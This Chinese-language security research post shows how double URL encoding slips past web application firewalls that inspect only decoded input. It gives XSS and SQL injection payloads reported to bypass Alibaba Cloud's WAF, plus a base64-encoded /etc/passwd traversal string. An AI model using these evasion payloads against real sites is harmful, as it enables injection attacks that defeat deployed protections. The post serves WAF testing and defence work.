作者：leveryd
原文链接：https://mp.weixin.qq.com/s/9uq-D1oB22_1DsU-5U73Kg

背景

看了你的扫描器可以绕过防火墙么？（一）的可能会觉得文章中用base64绕过场景有限。这篇文章介绍一种绕过场景更多一点的方法。

用过商业waf产品的应该都知道，waf一般都会支持多种解码类型，比如base64、url、unicode等。

所以Li4vLi4vLi4vZXRjL3Bhc3N3ZA==("../../../etc/passwd"的base64编码)这种payload，会被waf解码后拦截。

这里存在一个设计问题：如果waf只检测解码后的数据，不检测原始数据，就会存在一种通用绕过，很多web防护都有可能失效。

我研究了下面的问题：

• 怎么验证waf是否"只检测解码后的数据，不检测原始数据"？
• 哪些waf存在这种绕过风险？
• 怎么利用？

分析过程

• 怎么验证？

构造满足下面条件的数据：

  * 如果waf没有解码模块，此数据就应该被拦截
  * 如果waf有解码模块，解码后，此数据不应该被拦截

如果这个数据经过waf没有被拦截，就说明 存在风险。

比如，如果有一个waf面对如下的测试payload

  <script a="">alert(1) // 被waf拦截
  <script a=""></script><x a=">alert(1) // 不被waf拦截

其中第二个payload是通过"在第一个payload双引号中添加数据"构造出来的

就可以构造出下面的"最终payload"：

  <script a="%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%33%63%25%37%38%25%32%30%25%36%31%25%33%64">alert(1)

如果"此waf只检测解码后的数据，不检测原始数据"，就不会拦截"最终payload"

• 验证阿里云waf

以下是阿里云waf实际拦截结果

  a=<svg onload='xxxx="x alert"'>  拦截
  a=<svg onload='xxxx="x"> alert"'>  不拦截

所以可以构造出下面的payload并验证

  a=<svg onload='xxxx="x%25%32%32%25%33%65 alert"'>  没有拦截

所以，阿里云waf确实存在风险，用a=<svg onload='xxxx="x%25%32%32%25%33%65"; alert(1);'>payload就可以绕过

• 验证长亭waf

  a=alert("111")  中危
  a=alert("111"") 正常

所以可以构造出下面的payload并验证

  a=alert("111%25%32%32")   中危

所以，长亭waf不存在此风险

• 怎么利用？

如果waf存在此风险，就有可能导致非常多的web防护失效。

构造payload的过程如同上面"怎么验证"的过程。

下面再补充一个同样方式绕过阿里云sql注入防护的案例：

  a=union/*anything*/select "111"  拦截
  a=union/**/*/ select "111"  未拦截，但是此payload不是有效的

  因此可以得到下面 不拦截、且有效的 payload
  a=union/*%25%32%61%25%32%66*/select "111"  未拦截，且payload有效

最后

我在内部安全保障、安全产品两个方向有一些工作经验；在启明、百度等大厂也都呆过，也曾在房多多和安全团队一起做过从0到1的安全建设；在漏洞挖掘这一块虽然不是经验丰富，但之前也给"华为、阿里、360、百度、字节"等国内的大厂提交过一些高危严重漏洞（PS：并不代表我觉得这些src都非常好）；

我后面会持续写 "安全产品"、"后端开发"、"有意思的安全问题/漏洞"，如果读者有什么想一起讨论的"题材"，欢迎在公众号后台留言；

目前公众号一篇文章阅读量只有50-70，感觉太惨淡了。如果读者觉得我的文章有帮助，就希望能在公众号"点赞、在看、分享"，"点赞"和"在看"似乎也能增加一些曝光量。要不然文章就只能关注的人才能看得到。

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1601/